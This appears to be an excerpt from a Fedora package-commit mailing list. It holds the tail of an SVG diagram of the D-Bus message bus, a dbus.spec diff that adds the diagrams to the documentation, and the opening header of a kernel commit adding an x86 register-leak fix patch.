     style="font-size:12.000000;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;"
     x="34.109497"
     y="446.13382"
     id="text3536"><tspan
       id="tspan3537">Locate Object</tspan><tspan
       sodipodi:role="line"
       id="tspan3539"
       x="34.109497"
       y="458.13382">via Object Path</tspan></text>
  <path
     style="fill:#000000;fill-opacity:1.0000000;fill-rule:nonzero;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;"
     id="path3541"
     d="M 60.509867,462.78767 C 60.704066,463.37591 61.530933,463.84583 62.007874,464.28723 C 63.913872,466.12051 65.181885,468.28843 66.276205,470.51146 C 67.546763,473.20013 68.479538,475.97232 69.341567,478.76517 C 69.859714,480.44662 70.465285,482.07922 71.181912,483.70988 C 71.529152,484.50726 71.826226,485.34886 72.328355,486.09258 C 72.616597,486.47953 72.979397,486.82433 73.280834,487.20472 C 73.432888,487.39542 73.579822,487.58851 73.726688,487.78186 L 76.534483,487.29031 C 76.385417,487.09167 76.235391,486.89357 76.080698,486.69786 C 75.794138,486.32596 75.468082,485.98122 75.163430,485.62019 C 74.636862,484.94463 74.326296,484.15202 73.966419,483.41160 C 73.195763,481.82217 72.545735,480.21149 71.974241,478.56609 C 71.009271,475.75840 70.005976,472.96080 68.744881,470.23186 C 67.637853,467.94813 66.449628,465.63249 64.599355,463.68036 C 64.354115,463.42164 63.357030,462.07437 63.583082,462.78767 L 60.509867,462.78767 z " />
  <text
     xml:space="preserve"
     style="font-size:12.000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:start;writing-mode:lr;"
     x="49.100315"
     y="501.60959"
     id="text3542"
     sodipodi:linespacing="100%"><tspan
       x="49.100315"
       y="501.60959"
       sodipodi:role="line"
       id="tspan3547">Bindings Marshal</tspan><tspan
       x="49.100315"
       y="513.60959"
       sodipodi:role="line"
       id="tspan3549">to Method Call</tspan></text>
  <path
     style="fill:#000000;fill-opacity:1.0000000;fill-rule:nonzero;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;"
     id="path3551"
     d="M 95.295239,519.43211 C 95.101039,520.02035 94.274169,520.49027 93.797229,520.93167 C 91.891239,522.76495 90.623219,524.93287 89.528899,527.15590 C 88.258339,529.84457 87.325569,532.61676 86.463539,535.40961 C 85.945389,537.09106 85.339819,538.72366 84.623199,540.35432 C 84.275959,541.15170 83.978879,541.99330 83.476749,542.73702 C 83.188509,543.12397 82.825709,543.46877 82.524269,543.84916 C 82.372219,544.03986 82.225289,544.23295 82.078419,544.42630 L 79.270619,543.93475 C 79.419689,543.73611 79.569719,543.53801 79.724409,543.34230 C 80.010969,542.97040 80.337029,542.62566 80.641679,542.26463 C 81.168249,541.58907 81.478809,540.79646 81.838689,540.05604 C 82.609339,538.46661 83.259369,536.85593 83.830869,535.21053 C 84.795839,532.40284 85.799129,529.60524 87.060229,526.87630 C 88.167249,524.59257 89.355479,522.27693 91.205749,520.32480 C 91.450989,520.06608 92.448079,518.71881 92.222029,519.43211 L 95.295239,519.43211 z " />
  <path
     style="fill:#000000;fill-opacity:1.0000000;fill-rule:nonzero;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;"
     id="path3552"
     d="M 261.83533,408.61479 C 262.02953,409.20303 262.85640,409.67295 263.33334,410.11435 C 265.23934,411.94763 266.50735,414.11555 267.60167,416.33858 C 268.87223,419.02725 269.80501,421.79944 270.66703,424.59229 C 271.18518,426.27374 271.79075,427.90634 272.50738,429.53700 C 272.85462,430.33438 273.15169,431.17598 273.65382,431.91970 C 273.94206,432.30665 274.30486,432.65145 274.60630,433.03184 C 274.75836,433.22254 274.90529,433.41563 275.05216,433.60898 L 277.85995,433.11743 C 277.71088,432.91879 277.56086,432.72069 277.40617,432.52498 C 277.11961,432.15308 276.79355,431.80834 276.48890,431.44731 C 275.96233,430.77175 275.65176,429.97914 275.29189,429.23872 C 274.52123,427.64929 273.87120,426.03861 273.29971,424.39321 C 272.33474,421.58552 271.33144,418.78792 270.07035,416.05898 C 268.96332,413.77525 267.77510,411.45961 265.92482,409.50748 C 265.67958,409.24876 264.68250,407.90149 264.90855,408.61479 L 261.83533,408.61479 z " />
  <text
     xml:space="preserve"
     style="font-size:12.000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:start;writing-mode:lr;"
     x="223.98749"
     y="446.13382"
     id="text3553"
     sodipodi:linespacing="100%"><tspan
       x="223.98749"
       y="446.13382"
       sodipodi:role="line"
       id="tspan3562">Marshal Method</tspan><tspan
       x="223.98749"
       y="458.13382"
       sodipodi:role="line"
       id="tspan3564">Call to Message</tspan></text>
  <path
     style="fill:#000000;fill-opacity:1.0000000;fill-rule:nonzero;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;"
     id="path3567"
     d="M 278.96485,463.29453 C 278.77065,463.88277 277.94378,464.35269 277.46684,464.79409 C 275.56085,466.62737 274.29283,468.79529 273.19851,471.01832 C 271.92795,473.70699 270.99518,476.47918 270.13315,479.27203 C 269.61500,480.95348 269.00943,482.58608 268.29281,484.21674 C 267.94557,485.01412 267.64849,485.85572 267.14636,486.59944 C 266.85812,486.98639 266.49532,487.33119 266.19388,487.71158 C 266.04183,487.90228 265.89490,488.09537 265.74803,488.28872 L 262.94023,487.79717 C 263.08930,487.59853 263.23933,487.40043 263.39402,487.20472 C 263.68058,486.83282 264.00664,486.48808 264.31129,486.12705 C 264.83786,485.45149 265.14842,484.65888 265.50830,483.91846 C 266.27895,482.32903 266.92898,480.71835 267.50048,479.07295 C 268.46545,476.26526 269.46874,473.46766 270.72984,470.73872 C 271.83686,468.45499 273.02509,466.13935 274.87536,464.18722 C 275.12060,463.92850 276.11769,462.58123 275.89164,463.29453 L 278.96485,463.29453 z " />
  <rect
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:2.7377086;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-dasharray:2.7377084 2.7377084 ;stroke-dashoffset:0.0000000;stroke-opacity:1.0000000;"
     id="rect3568"
     width="124.01746"
     height="66.979813"
     x="189.79265"
     y="495.08902" />
  <text
     xml:space="preserve"
     style="font-size:14.000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:middle;writing-mode:lr;"
     x="248.94049"
     y="523.44220"
     id="text3569"
     sodipodi:linespacing="100%"><tspan
       x="248.94049"
       y="523.44220"
       sodipodi:role="line"
       id="tspan3574">Bindings Proxy</tspan><tspan
       x="248.94049"
       y="537.44220"
       sodipodi:role="line"
       id="tspan3576">Object Instance</tspan></text>
  <path
     style="fill:#000000;fill-opacity:1.0000000;fill-rule:nonzero;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;"
     id="path3578"
     d="M 259.03547,566.92913 C 259.22967,567.51737 260.05653,567.98729 260.53348,568.42869 C 262.43947,570.26197 263.70749,572.42989 264.80181,574.65292 C 266.07236,577.34159 267.00514,580.11378 267.86717,582.90663 C 268.38532,584.58808 268.99089,586.22068 269.70751,587.85134 C 270.05475,588.64872 270.35183,589.49032 270.85396,590.23404 C 271.14220,590.62099 271.50500,590.96579 271.80644,591.34618 C 271.95849,591.53688 272.10542,591.72997 272.25229,591.92332 L 275.06008,591.43177 C 274.91102,591.23313 274.76099,591.03503 274.60630,590.83932 C 274.31974,590.46742 273.99368,590.12268 273.68903,589.76165 C 273.16246,589.08609 272.85190,588.29348 272.49202,587.55306 C 271.72136,585.96363 271.07134,584.35295 270.49984,582.70755 C 269.53487,579.89986 268.53158,577.10226 267.27048,574.37332 C 266.16345,572.08959 264.97523,569.77395 263.12496,567.82182 C 262.87972,567.56310 261.88263,566.21583 262.10868,566.92913 L 259.03547,566.92913 z " />
  <text
     xml:space="preserve"
     style="font-size:12.000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:start;writing-mode:lr;"
     x="217.40741"
     y="607.90881"
     id="text3579"
     sodipodi:linespacing="100%"><tspan
       x="217.40741"
       y="607.90881"
       sodipodi:role="line"
       id="tspan3584">Application Code</tspan></text>
  <path
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:0.96172028pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;marker-end:url(#Arrow1M);"
     d="M 26.574803,408.60009 C 26.574803,539.68912 26.574803,539.68911 26.574803,531.49606"
     id="path3586"
     sodipodi:nodetypes="cc" />
  <text
     xml:space="preserve"
     style="font-size:12.000000;font-style:normal;font-variant:normal;font-weight:bold;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:start;writing-mode:lr;"
     x="25.977146"
     y="386.45212"
     id="text4220"
     sodipodi:linespacing="100%"><tspan
       id="tspan4221">Incoming</tspan><tspan
       sodipodi:role="line"
       id="tspan4223"
       x="25.977146"
       y="398.45212">Call</tspan></text>
  <text
     xml:space="preserve"
     style="font-size:12.000000;font-style:normal;font-variant:normal;font-weight:bold;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:end;writing-mode:lr;"
     x="335.61411"
     y="386.45212"
     id="text4226"
     sodipodi:linespacing="100%"><tspan
       x="335.61411"
       y="386.45212"
       sodipodi:role="line"
       id="tspan4231">Outgoing</tspan><tspan
       x="335.61411"
       y="398.45212"
       sodipodi:role="line"
       id="tspan4233">Call</tspan></text>
  <path
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:0.96172028pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;marker-start:url(#Arrow1M);marker-end:none;"
     d="M 327.75591,416.33858 C 327.75591,547.42761 327.75591,547.42760 327.75591,539.23455"
     id="path4236"
     sodipodi:nodetypes="cc" />
  <rect
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:5.7914310;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-opacity:1.0000000;"
     id="rect4870"
     width="885.86591"
     height="310.27252"
     x="88.582680"
     y="8.8582621" />
  <text
     xml:space="preserve"
     style="font-size:18.000000;font-style:normal;font-variant:normal;font-weight:bold;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:middle;writing-mode:lr;"
     x="515.42737"
     y="305.44489"
     id="text4871"
     sodipodi:linespacing="100%"><tspan
       x="515.42737"
       y="305.44489"
       sodipodi:role="line"
       id="tspan4874">Bus Daemon Process</tspan></text>
  <rect
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:3.7500000;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-opacity:1.0000000;"
     id="rect4876"
     width="325.23203"
     height="354.33072"
     x="708.66144"
     y="373.08359" />
  <text
     xml:space="preserve"
     style="font-size:18.000000;font-style:normal;font-variant:normal;font-weight:bold;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:start;writing-mode:lr;"
     x="761.72314"
     y="713.77551"
     id="text4877"
     sodipodi:linespacing="100%"><tspan
       x="761.72314"
       y="713.77551"
       sodipodi:role="line"
       id="tspan4880">Application Process 2</tspan></text>
  <text
     xml:space="preserve"
     style="font-size:12.000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:start;writing-mode:lr;"
     x="823.49664"
     y="505.18018"
     id="text4883"
     sodipodi:linespacing="100%"><tspan
       x="823.49664"
       y="505.18018"
       sodipodi:role="line"
       id="tspan4888">Same Stuff as in</tspan><tspan
       x="823.49664"
       y="517.18018"
       sodipodi:role="line"
       id="tspan4890">Process 1</tspan></text>
  <text
     xml:space="preserve"
     style="font-size:12.000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:start;writing-mode:lr;"
     x="47.891071"
     y="638.05420"
     id="text4892"
     sodipodi:linespacing="100%"><tspan
       x="47.891071"
       y="638.05420"
       sodipodi:role="line"
       id="tspan4901">(Object Instance Has</tspan><tspan
       x="47.891071"
       y="650.05420"
       sodipodi:role="line"
       id="tspan4903">1 or More Interfaces)</tspan></text>
  <path
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.2500000;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-opacity:1.0000000;marker-start:url(#Arrow1M);marker-end:url(#Arrow1M);stroke-dasharray:none;"
     d="M 162.57260,358.02041 C 165.25213,354.60516 186.01858,328.13688 184.00893,330.69832"
     id="path4905"
     sodipodi:nodetypes="cc" />
  <text
     xml:space="preserve"
     style="font-size:12.000000;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;"
     x="190.57170"
     y="342.62018"
     id="text5539"><tspan
       id="tspan5540">Socket</tspan><tspan
       sodipodi:role="line"
       id="tspan5544"
       x="190.57170"
       y="354.62018">(Bidirectional Message Stream)</tspan></text>
  <path
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.2500000;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-opacity:1.0000000;marker-start:url(#Arrow1M);marker-end:url(#Arrow1M);"
     d="M 827.53876,363.18897 C 824.85916,359.77372 804.09276,333.30544 806.10236,335.86688"
     id="path5546"
     sodipodi:nodetypes="cc" />
  <text
     xml:space="preserve"
     style="font-size:12.000000;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;"
     x="840.79150"
     y="345.73135"
     id="text5547"><tspan
       id="tspan5548">Socket</tspan><tspan
       sodipodi:role="line"
       id="tspan5550"
       x="840.79150"
       y="357.73135">(Bidirectional Message Stream)</tspan></text>
  <rect
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:2.5000000;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-dasharray:2.5000000 2.5000000 ;stroke-dashoffset:0.0000000;stroke-opacity:1.0000000;"
     id="rect5552"
     width="148.46259"
     height="46.656849"
     x="124.01575"
     y="263.38251" />
  <text
     xml:space="preserve"
     style="font-size:14.000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:middle;writing-mode:lr;"
     x="198.33043"
     y="285.24298"
     id="text5553"
     sodipodi:linespacing="100%"><tspan
       id="tspan5554">DBusConnection</tspan><tspan
       sodipodi:role="line"
       id="tspan5556"
       x="198.33043"
       y="299.24298">Instance</tspan></text>
  <rect
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:2.5000000;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-dasharray:2.5000000 2.5000000 ;stroke-dashoffset:0.0000000;stroke-opacity:1.0000000;"
     id="rect5558"
     width="148.46259"
     height="46.656849"
     x="719.64764"
     y="263.38251" />
  <text
     xml:space="preserve"
     style="font-size:14.000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:middle;writing-mode:lr;"
     x="793.96234"
     y="285.24298"
     id="text5559"
     sodipodi:linespacing="100%"><tspan
       id="tspan5560">DBusConnection</tspan><tspan
       sodipodi:role="line"
       id="tspan5562"
       x="793.96234"
       y="299.24298">Instance</tspan></text>
  <rect
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:2.5000000;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-dasharray:2.5000000 2.5000000 ;stroke-dashoffset:0.0000000;stroke-opacity:1.0000000;"
     id="rect5564"
     width="148.46259"
     height="46.656849"
     x="763.77222"
     y="378.54001" />
  <text
     xml:space="preserve"
     style="font-size:14.000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:middle;writing-mode:lr;"
     x="838.08691"
     y="400.40048"
     id="text5565"
     sodipodi:linespacing="100%"><tspan
       id="tspan5566">DBusConnection</tspan><tspan
       sodipodi:role="line"
       id="tspan5568"
       x="838.08691"
       y="414.40048">Instance</tspan></text>
  <path
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;marker-end:url(#Arrow1M);"
     d="M 186.02362,248.03149 C 106.29921,26.574797 372.04724,26.574797 372.04724,26.574797"
     id="path5571"
     sodipodi:nodetypes="cc" />
  <rect
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:2.1854961;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-dasharray:2.1854960 2.1854960 ;stroke-dashoffset:0.0000000;stroke-opacity:1.0000000;"
     id="rect6205"
     width="148.46259"
     height="35.656227"
     x="391.89175"
     y="17.493374" />
  <text
     xml:space="preserve"
     style="font-size:14.000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:middle;writing-mode:lr;"
     x="466.20642"
     y="39.577003"
     id="text6206"
     sodipodi:linespacing="100%"><tspan
       x="466.20642"
       y="39.577003"
       sodipodi:role="line"
       id="tspan6211">Message Dispatcher</tspan></text>
  <path
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;marker-end:url(#Arrow1M);"
     d="M 806.10236,248.03149 C 814.96063,17.716530 549.21260,26.574797 558.07087,26.574797"
     id="path6213"
     sodipodi:nodetypes="cc" />
  <text
     xml:space="preserve"
     style="font-size:12.000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:start;writing-mode:lr;"
     x="380.24341"
     y="71.125053"
     id="text6214"
     sodipodi:linespacing="100%"><tspan
       x="380.24341"
       y="71.125053"
       sodipodi:role="line"
       id="tspan6860">if (message is signal)</tspan><tspan
       x="380.24341"
       y="83.125053"
       sodipodi:role="line"
       id="tspan6862">  broadcast</tspan><tspan
       x="380.24341"
       y="95.125053"
       sodipodi:role="line"
       id="tspan6864">else</tspan><tspan
       x="380.24341"
       y="107.12505"
       sodipodi:role="line"
       id="tspan6866">  find destination named by message</tspan></text>
  <path
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;marker-end:url(#Arrow1M);"
     d="M 380.90551,79.724404 C 177.16536,53.149601 203.74016,256.88976 203.74016,248.03149"
     id="path6868"
     sodipodi:nodetypes="cc" />
  <path
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;marker-end:url(#Arrow1M);"
     d="M 451.77165,79.724404 C 788.38583,44.291333 779.52756,256.88976 779.52756,248.03149"
     id="path6869"
     sodipodi:nodetypes="cc" />
  <rect
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#6a6a6a;stroke-width:2.5000000;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;stroke-miterlimit:4.0000000;stroke-dasharray:1.2500000,1.2500000;stroke-dashoffset:0.0000000;"
     id="rect7503"
     width="318.89764"
     height="168.30708"
     x="345.47244"
     y="115.15748" />
  <text
     xml:space="preserve"
     style="font-size:12.000000;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;text-anchor:middle;writing-mode:lr;"
     x="507.10016"
     y="132.70409"
     id="text8137"
     sodipodi:linespacing="100%"><tspan
       id="tspan8138">Destination Table</tspan></text>
  <text
     xml:space="preserve"
     style="font-size:12.000000;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans;font-stretch:normal;font-variant:normal;text-anchor:start;writing-mode:lr;"
     x="422.71124"
     y="158.39366"
     id="text8140"
     sodipodi:linespacing="120%"><tspan
       x="422.71124"
       y="158.39366"
       sodipodi:role="line"
       id="tspan8818">Connection 1</tspan><tspan
       x="422.71124"
       y="172.79366"
       sodipodi:role="line"
       id="tspan8820">Connection 2</tspan><tspan
       x="422.71124"
       y="187.19366"
       sodipodi:role="line"
       id="tspan8822">&quot;The Session Manager&quot;</tspan><tspan
       x="422.71124"
       y="201.59366"
       sodipodi:role="line"
       id="tspan8824">&quot;The Window Manager&quot;</tspan><tspan
       x="422.71124"
       y="215.99366"
       sodipodi:role="line"
       id="tspan8826">&quot;The Screensaver&quot;</tspan><tspan
       x="422.71124"
       y="230.39366"
       sodipodi:role="line"
       id="tspan8828">&quot;The Text Editor&quot;</tspan><tspan
       x="422.71124"
       y="244.79366"
       sodipodi:role="line"
       id="tspan8830">&quot;The Hardware Directory&quot;</tspan><tspan
       x="422.71124"
       y="259.19367"
       sodipodi:role="line"
       id="tspan8832">&quot;The Address Book&quot;</tspan><tspan
       x="422.71124"
       y="273.59367"
       sodipodi:role="line"
       id="tspan8834">&quot;The Dictionary&quot;</tspan></text>
  <path
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;marker-end:url(#Arrow1M);"
     d="M 416.33858,150.59055 C 239.17323,97.440935 221.45669,256.88976 221.45669,248.03149"
     id="path8179"
     sodipodi:nodetypes="cc" />
  <path
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;marker-end:url(#Arrow1M);"
     d="M 504.92126,168.30708 C 726.37795,106.29921 770.66929,265.74802 761.81102,239.17322"
     id="path8180"
     sodipodi:nodetypes="cc" />
  <path
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;"
     d=""
     id="path8181"
     sodipodi:nodetypes="" />
  <path
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;marker-end:url(#Arrow1M);"
     d="M 584.64567,239.17322 C 717.51969,194.88188 761.81102,256.88976 752.95276,248.03149"
     id="path8182"
     sodipodi:nodetypes="cc" />
  <path
     style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;marker-end:url(#Arrow1M);"
     d="M 416.33858,177.16535 C 301.18111,124.01574 230.31496,265.74803 239.17323,248.03149"
     id="path8184"
     sodipodi:nodetypes="cc" />
</svg>


Index: dbus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbus/F-12/dbus.spec,v
retrieving revision 1.174
retrieving revision 1.175
diff -u -p -r1.174 -r1.175
--- dbus.spec	1 Oct 2009 14:40:57 -0000	1.174
+++ dbus.spec	7 Oct 2009 16:21:54 -0000	1.175
@@ -9,11 +9,13 @@ Summary: D-BUS message bus
 Name: dbus
 Epoch: 1
 Version: 1.2.16
-Release: 6%{?dist}
+Release: 7%{?dist}
 URL: http://www.freedesktop.org/software/dbus/
 Source0: http://dbus.freedesktop.org/releases/dbus/%{name}-%{version}.tar.gz
 Source1: doxygen_to_devhelp.xsl
 Source2: 00-start-message-bus.sh
+Source3: diagram.png
+Source4: diagram.svg
 License: GPLv2+ or AFL
 Group: System Environment/Libraries
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
@@ -142,6 +144,10 @@ cp doc/dbus-faq.html %{buildroot}%{_data
 cp doc/dbus-tutorial.html %{buildroot}%{_datadir}/devhelp/books/dbus
 cp doc/api/html/* %{buildroot}%{_datadir}/devhelp/books/dbus/api
 
+# missing diagrams
+cp %{SOURCE3} %{buildroot}%{_datadir}/devhelp/books/dbus
+cp %{SOURCE4} %{buildroot}%{_datadir}/devhelp/books/dbus
+
 install -D -m755 %{SOURCE2} %{buildroot}%{_sysconfdir}/X11/xinit/xinitrc.d/00-start-message-bus.sh
 
 mkdir -p %{buildroot}%{_datadir}/dbus-1/interfaces
@@ -230,6 +236,9 @@ fi
 %{_includedir}/*
 
 %changelog
+* Wed Oct  7 2009 Matthias Clasen <mclasen at redhat.com> - 1:1.2.16-7
+- Add missing diagrams to the docs (#527650)
+
 * Thu Oct  1 2009 Matthias Clasen <mclasen at redhat.com> - 1:1.2.16-6
 - Fix timeout accounting
 



From cebbert at fedoraproject.org  Wed Oct  7 16:22:42 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Wed,  7 Oct 2009 16:22:42 +0000 (UTC)
Subject: rpms/kernel/F-10 x86-dont-leak-64-bit-kernel-register-values.patch, 
	NONE, 1.1.2.1 x86-streamline-32-bit-syscall-entry-code.patch,
	NONE, 1.1.2.1 kernel.spec, 1.1206.2.98, 1.1206.2.99
Message-ID: <20091007162242.8D13B11C00E6@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27900

Modified Files:
      Tag: private-fedora-10-2_6_27
	kernel.spec 
Added Files:
      Tag: private-fedora-10-2_6_27
	x86-dont-leak-64-bit-kernel-register-values.patch 
	x86-streamline-32-bit-syscall-entry-code.patch 
Log Message:
x86: fix leakage of kernel 64-bit registers to 32-bit tasks.

x86-dont-leak-64-bit-kernel-register-values.patch:
 ia32entry.S |   36 +++++++++++++++++++++++-------------
 1 file changed, 23 insertions(+), 13 deletions(-)

--- NEW FILE x86-dont-leak-64-bit-kernel-register-values.patch ---
From: Jan Beulich <JBeulich at novell.com>
Date: Wed, 30 Sep 2009 10:22:11 +0000 (+0100)
Subject: x86: Don't leak 64-bit kernel register values to 32-bit processes
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=24e35800cdc4350fc34e2bed37b608a9e13ab3b6

x86: Don't leak 64-bit kernel register values to 32-bit processes

